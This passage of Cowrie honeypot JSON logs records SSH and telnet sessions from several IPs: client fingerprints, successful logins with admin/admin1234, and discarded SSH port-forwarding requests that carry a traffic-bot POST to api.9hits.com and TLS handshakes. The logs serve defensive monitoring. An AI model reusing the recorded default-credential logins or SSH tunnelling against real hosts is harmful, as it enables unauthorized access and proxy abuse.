14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:54.694695Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:55.884681Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:56.320015Z","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:56.412088Z","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:56.577786Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-A405FN/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZEdGbVJQJmRDMUNQRWpoaQ%3D%3DlLCSck0Yxbomvyrx%2B4ek7lEg4M1peqlMn3LpOfzdVbePwcJa%2Bb6XCS%2Bw1iEg2L%2BohHN%2FluAanpEOT2%2F1Fn3yRlvgJ3CPm%2FZyFjOHJLVl04axs9BymUfLm4X9SqRR%2BZBI%2Fakj4s7Xi%2Fa3ZUGr5tdKcnyR4gseNKCKEYRNgbRQX%2FfKq%2BpWe%2ByjKb%2BduTSJsk6ccypkWI2OTVQMyRrEEpFl3ydHqFYFVxP%2BFDqCTsr24ZFdshq87X7M6mAG5Xv5DRiSEv8jhra89cUbiY6EsEw%2Bfkyt3iy5SvlN2irxq5ugqNVd7q52ooL%2FWuMkiBXp01ztoRzSUMssZaPm2ixudvFbmCmpfS1usgdPc%2BreRJV5%2FhCARC5tnlxzxl3woxrKSILmCB6RTj5lCbz3Q%2B9e6xNhuVdjCYhgnayM%2FcqrCHs3xYr2wPRvM%2FVta80dZrdtjR1wYRvUyRKyOjW5vXvNmmR5E%2BCn1HojWchHQ08snpBGN1V6BOcmBQEz%2B5ruQwrdv9CJ8OyevGoQtwfXf4GiO9bLEfmgRgHXP8r2uUy4AGTXkrprpH9njL5xHshVPXFPBw9JpB8S3LiFuEWryHSbd4qaaLLnTOjlhnCstx10GFKDClJTUXl%2FQ1j2xt6fRyOBiSHjR7pWONp5os24Z6PPIe16o93fz3QQkbmN9FpeU%2FWbQqmiXOclDs945%2BldTUqldjY1qxye7ksPQONoPbTyzV8phyXSJxGMwqJ2P65lVW%2FLryCnTXf3sifcKSFrXFCri64NdszG%2FsKjz5UclDrj21Hfj%2FvINnmYeYKZtXSciTxJFkz0s4TBVflGm5yQFpsx1ByZdBCNP28dACeOQuyuG%2BJed0Rf2CQpl06Fq4i%2BZrA4ypM8MYROOVaHYGXjAETzEbfWYRSN8f9J0ApZlsjoxKXwrF1C0IRM4IdOF6qXu1TcFUNJfla4pi%2BVv6y8UGZDd1zhXBNXc6HIOtb2b3pW2jSY6nWMzJhZ4DUDJMWl8rv9SXxo4FYZtKVTDEmFxCnQRe%2F%2Fiwv%2FiPyJhdJLNzCfxl9vVoiDMhwz8kQB7Owk1TapCnQ%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-A405FN/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZEdGbVJQJmRDMUNQRWpoaQ%3D%3DlLCSck0Yxbomvyrx%2B4ek7lEg4M1peqlMn3LpOfzdVbePwcJa%2Bb6XCS%2Bw1iEg2L%2BohHN%2FluAanpEOT2%2F1Fn3yRlvgJ3CPm%2FZyFjOHJLVl04axs9BymUfLm4X9SqRR%2BZBI%2Fakj4s7Xi%2Fa3ZUGr5tdKcnyR4gseNKCKEYRNgbRQX%2FfKq%2BpWe%2ByjKb%2BduTSJsk6ccypkWI2OTVQMyRrEEpFl3ydHqFYFVxP%2BFDqCTsr24ZFdshq87X7M6mAG5Xv5DRiSEv8jhra89cUbiY6EsEw%2Bfkyt3iy5SvlN2irxq5ugqNVd7q52ooL%2FWuMkiBXp01ztoRzSUMssZaPm2ixudvFbmCmpfS1usgdPc%2BreRJV5%2FhCARC5tnlxzxl3woxrKSILmCB6RTj5lCbz3Q%2B9e6xNhuVdjCYhgnayM%2FcqrCHs3xYr2wPRvM%2FVta80dZrdtjR1wYRvUyRKyOjW5vXvNmmR5E%2BCn1HojWchHQ08snpBGN1V6BOcmBQEz%2B5ruQwrdv9CJ8OyevGoQtwfXf4GiO9bLEfmgRgHXP8r2uUy4AGTXkrprpH9njL5xHshVPXFPBw9JpB8S3LiFuEWryHSbd4qaaLLnTOjlhnCstx10GFKDClJTUXl%2FQ1j2xt6fRyOBiSHjR7pWONp5os24Z6PPIe16o93fz3QQkbmN9FpeU%2FWbQqmiXOclDs945%2BldTUqldjY1qxye7ksPQONoPbTyzV8phyXSJxGMwqJ2P65lVW%2FLryCnTXf3sifcKSFrXFCri64NdszG%2FsKjz5UclDrj21Hfj%2FvINnmYeYKZtXSciTxJFkz0s4TBVflGm5yQFpsx1ByZdBCNP28dACeOQuyuG%2BJed0Rf2CQpl06Fq4i%2BZrA4ypM8MYROOVaHYGXjAETzEbfWYRSN8f9J0ApZlsjoxKXwrF1C0IRM4IdOF6qXu1TcFUNJfla4pi%2BVv6y8UGZDd1zhXBNXc6HIOtb2b3pW2jSY6nWMzJhZ4DUDJMWl8rv9SXxo4FYZtKVTDEmFxCnQRe%2F%2Fiwv%2FiPyJhdJLNzCfxl9vVoiDMhwz8kQB7Owk1TapCnQ%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:56.583600Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:56.837135Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa6\\xd7-D\\xaa\\xef\\x03\\x94\\x96\\x0b\\xe8\\xe6\\x9f\\x11\\xf0j\\x0e\\xe1\\xd0\\xe8o*\\x1f+\\xb3\\xa3q\\xc9\\xfd\\xca\\x91u kr4\\xaa\\xc3W\\xb9\\x14\\xd7\\xec4\\xebO\\x0b\\x1e#\\xccw=7\\xc8\\xa4\\x98tZH[\\n\\x90;\\x91.\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\t&e0Rk\\x92[\\x86c\\xcb\\xe7o(\\x0c\\x16\\xd3\\x9c\\x98\\xe9\\n\\xebEg\\x1b,\\xb8>\\x98A\\x11F\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa6\\xd7-D\\xaa\\xef\\x03\\x94\\x96\\x0b\\xe8\\xe6\\x9f\\x11\\xf0j\\x0e\\xe1\\xd0\\xe8o*\\x1f+\\xb3\\xa3q\\xc9\\xfd\\xca\\x91u kr4\\xaa\\xc3W\\xb9\\x14\\xd7\\xec4\\xebO\\x0b\\x1e#\\xccw=7\\xc8\\xa4\\x98tZH[\\n\\x90;\\x91.\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\t&e0Rk\\x92[\\x86c\\xcb\\xe7o(\\x0c\\x16\\xd3\\x9c\\x98\\xe9\\n\\xebEg\\x1b,\\xb8>\\x98A\\x11F\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:56.840112Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:57.341703Z","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:57.597741Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Q\\xc3\\xfdvj\\xa9|\\r)D\\x1d\\x02\\x9e\\xb7\\xa2\\x8eli\\xe2\\xb6\\x10R\\xff\\x04\\x85\\x08\\x93![\\x9f(\\xa6 \\xa4\\xd7\\xae\\x1f\\xfd\\x19\\xa6\\xe0j\\xf2\\x14zR\\x8e\\xb1\\xda\\xf0U\\x8f/\\xee?\\xa2\\x98\\xb5\\xab\\xa7:\\xa3w\\xc6\\xad\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0f\\xfa+\\x99Et\\x18cM\\x1c\\x11\\xb8\\x03w}\\r\\xc2\\xbf0tW\\xae\\xed\\xd8\\xe4\\xe1%\\x95\\xd5\\x9a\\x1c.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Q\\xc3\\xfdvj\\xa9|\\r)D\\x1d\\x02\\x9e\\xb7\\xa2\\x8eli\\xe2\\xb6\\x10R\\xff\\x04\\x85\\x08\\x93![\\x9f(\\xa6 \\xa4\\xd7\\xae\\x1f\\xfd\\x19\\xa6\\xe0j\\xf2\\x14zR\\x8e\\xb1\\xda\\xf0U\\x8f/\\xee?\\xa2\\x98\\xb5\\xab\\xa7:\\xa3w\\xc6\\xad\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0f\\xfa+\\x99Et\\x18cM\\x1c\\x11\\xb8\\x03w}\\r\\xc2\\xbf0tW\\xae\\xed\\xd8\\xe4\\xe1%\\x95\\xd5\\x9a\\x1c.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:57.600683Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.173.18.65","src_port":58962,"dst_ip":"10.17.0.5","dst_port":23,"session":"23c91062c54f","protocol":"telnet","message":"New connection: 39.173.18.65:58962 (10.17.0.5:23) [session: 23c91062c54f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:57.720708Z"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:57.957179Z","src_ip":"123.27.168.40","session":"20816a3b5643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51040,"dst_ip":"10.17.0.5","dst_port":22,"session":"b681f86af04a","protocol":"ssh","message":"New connection: 113.164.152.20:51040 (10.17.0.5:22) [session: b681f86af04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:58.169574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:58.173699Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:58.464003Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:44:59.672006Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
